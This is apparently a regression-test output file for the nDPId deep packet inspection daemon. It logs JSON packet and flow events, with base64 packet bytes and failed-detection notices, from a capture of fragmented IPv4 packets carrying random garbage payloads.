+00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":5001,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244029,"pkt_ts_usec":259500,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiYkAGQ08KAAACCoAAAkdWCjQyMTQ2MzE5ODIwNTE="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":5001,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":5002,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244029,"pkt_ts_usec":259514,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiZEAGQ00KAAACCoAAAikoKiZeJSQjQCMkJV4mKig="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":5002,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":5003,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244029,"pkt_ts_usec":259527,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiZkAGQ0sKAAACCoAAAiomXiUkI3JzZGx1aGdrZmQ="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":5003,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00382{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":5004,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244029,"pkt_ts_usec":259539,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiaEAGQ0kKAAACCoAAAnNia252Yy8udGdmdGc\/R1I="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":5004,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":5005,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244029,"pkt_ts_usec":259552,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiakAGQ0cKAAACCoAAAj9HUj9zUj83NDgzOTYpKCo="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":5005,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":5006,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244029,"pkt_ts_usec":259565,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAibEAGQ0UKAAACCoAAAiZeJSQjQCFAIyQlXiYqKCk="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":5006,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":5007,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244029,"pkt_ts_usec":259588,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAibkAGQ0MKAAACCoAAAigqJl4lJCNAIyQlXiYqKCo="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":5007,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00369{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":5008,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244029,"pkt_ts_usec":259607,"pkt_caplen":42,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":42,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAcAKACcEAGY0kKAAACCoAAAiZeJSQjJioo"} +00187{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":5008,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":8} +00485{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":5009,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","flow_id":17,"flow_packet_id":1,"flow_first_seen":1534244029559,"flow_last_seen":0,"flow_tot_l4_data_len":16,"flow_min_l4_data_len":16,"flow_max_l4_data_len":16,"flow_avg_l4_data_len":16,"midstream":1,"l3_proto":"ip4","src_ip":"10.0.0.2","dst_ip":"10.128.0.2","src_port":19273,"dst_port":19016,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00424{"flow_id":17,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":5009,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244029,"pkt_ts_usec":559709,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":16,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgAEAGRbEKAAACCoAAAktJSkhHRkQyKiZERkdISkvKWwAA"} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":5010,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244029,"pkt_ts_usec":559729,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgAkAGRa8KAAACCoAAAiZeJSQjI0VUUiVZXlUmSSo="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":5010,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":5011,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244029,"pkt_ts_usec":559745,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgBEAGRa0KAAACCoAAAk9QeyI6aGRmbGtkYT5MPE0="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":5011,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":5012,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244029,"pkt_ts_usec":559760,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgBkAGRasKAAACCoAAAk5CSEdGREVXI0AkJV5IQkc="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":5012,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":5013,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244029,"pkt_ts_usec":559775,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgCEAGRakKAAACCoAAAlYKNDIxNDYzMTk4MjA1MSk="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":5013,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":5014,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244029,"pkt_ts_usec":559790,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgCkAGRacKAAACCoAAAigqJl4lJCNAIyQlXiYqKCo="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":5014,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":5015,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244029,"pkt_ts_usec":559807,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgDEAGRaUKAAACCoAAAiZeJSQjcnNkbHVoZ2tmZHM="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":5015,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":5016,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244029,"pkt_ts_usec":559821,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgDkAGRaMKAAACCoAAAmJrbnZjLy50Z2Z0Zz9HUj8="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":5016,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":5017,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244029,"pkt_ts_usec":559836,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgEEAGRaEKAAACCoAAAkdSP3NSPzc0ODM5NikoKiY="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":5017,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":5018,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244029,"pkt_ts_usec":559851,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgEkAGRZ8KAAACCoAAAl4lJCNAIUAjJCVeJiooKSg="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":5018,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":5019,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244029,"pkt_ts_usec":559865,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgFEAGRZ0KAAACCoAAAiomXiUkI0AjJCVeJiooKiY="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":5019,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":5020,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244029,"pkt_ts_usec":559880,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgFkAGRZsKAAACCoAAAl4lJCMmKihLSUpIR0ZEMio="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":5020,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":5021,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244029,"pkt_ts_usec":559895,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgGEAGRZkKAAACCoAAAiZERkdISksmXiUkIyNFVFI="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":5021,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":5022,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244029,"pkt_ts_usec":559910,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgGkAGRZcKAAACCoAAAiVZXlUmSSpPUHsiOmhkZmw="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":5022,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":5023,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244029,"pkt_ts_usec":559925,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgHEAGRZUKAAACCoAAAmtkYT5MPE1OQkhHRkRFVyM="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":5023,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":5024,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244029,"pkt_ts_usec":559940,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgHkAGRZMKAAACCoAAAkAkJV5IQkdWCjQyMTQ2MzE="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":5024,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":5025,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244029,"pkt_ts_usec":559955,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgIEAGRZEKAAACCoAAAjk4MjA1MSkoKiZeJSQjQCM="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":5025,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":5026,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244029,"pkt_ts_usec":559977,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgIkAGRY8KAAACCoAAAiQlXiYqKComXiUkI3JzZGw="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":5026,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":5027,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244029,"pkt_ts_usec":559996,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgJEAGRY0KAAACCoAAAnVoZ2tmZHNia252Yy8udGc="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":5027,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":5028,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244029,"pkt_ts_usec":560011,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgJkAGRYsKAAACCoAAAmZ0Zz9HUj9HUj9zUj83NDg="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":5028,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":5029,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244029,"pkt_ts_usec":560026,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgKEAGRYkKAAACCoAAAjM5NikoKiZeJSQjQCFAIyQ="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":5029,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":5030,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244029,"pkt_ts_usec":560042,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgKkAGRYcKAAACCoAAAiVeJiooKSgqJl4lJCNAIyQ="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":5030,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":5031,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244029,"pkt_ts_usec":560057,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgLEAGRYUKAAACCoAAAiVeJiooKiZeJSQjJiooS0k="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":5031,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":5032,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244029,"pkt_ts_usec":560074,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgLkAGRYMKAAACCoAAAkpIR0ZEMiomREZHSEpLJl4="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":5032,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":5033,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244029,"pkt_ts_usec":560087,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgMEAGRYEKAAACCoAAAiUkIyNFVFIlWV5VJkkqT1A="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":5033,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":5034,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244029,"pkt_ts_usec":560102,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgMkAGRX8KAAACCoAAAnsiOmhkZmxrZGE+TDxNTkI="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":5034,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":5035,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244029,"pkt_ts_usec":560117,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgNEAGRX0KAAACCoAAAkhHRkRFVyNAJCVeSEJHVgo="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":5035,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":5036,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244029,"pkt_ts_usec":560132,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgNkAGRXsKAAACCoAAAjQyMTQ2MzE5ODIwNTEpKCo="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":5036,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":5037,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244029,"pkt_ts_usec":560149,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgOEAGRXkKAAACCoAAAiZeJSQjQCMkJV4mKigqJl4="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":5037,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":5038,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244029,"pkt_ts_usec":560164,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgOkAGRXcKAAACCoAAAiUkI3JzZGx1aGdrZmRzYms="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":5038,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00383{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":5039,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244029,"pkt_ts_usec":560198,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgPEAGRXUKAAACCoAAAm52Yy8udGdmdGc\/R1I\/R1I="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":5039,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":5040,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244029,"pkt_ts_usec":560215,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgPkAGRXMKAAACCoAAAj9zUj83NDgzOTYpKComXiU="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":5040,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":5041,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244029,"pkt_ts_usec":560229,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgQEAGRXEKAAACCoAAAiQjQCFAIyQlXiYqKCkoKiY="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":5041,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":5042,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244029,"pkt_ts_usec":560243,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgQkAGRW8KAAACCoAAAl4lJCNAIyQlXiYqKComXiU="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":5042,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} 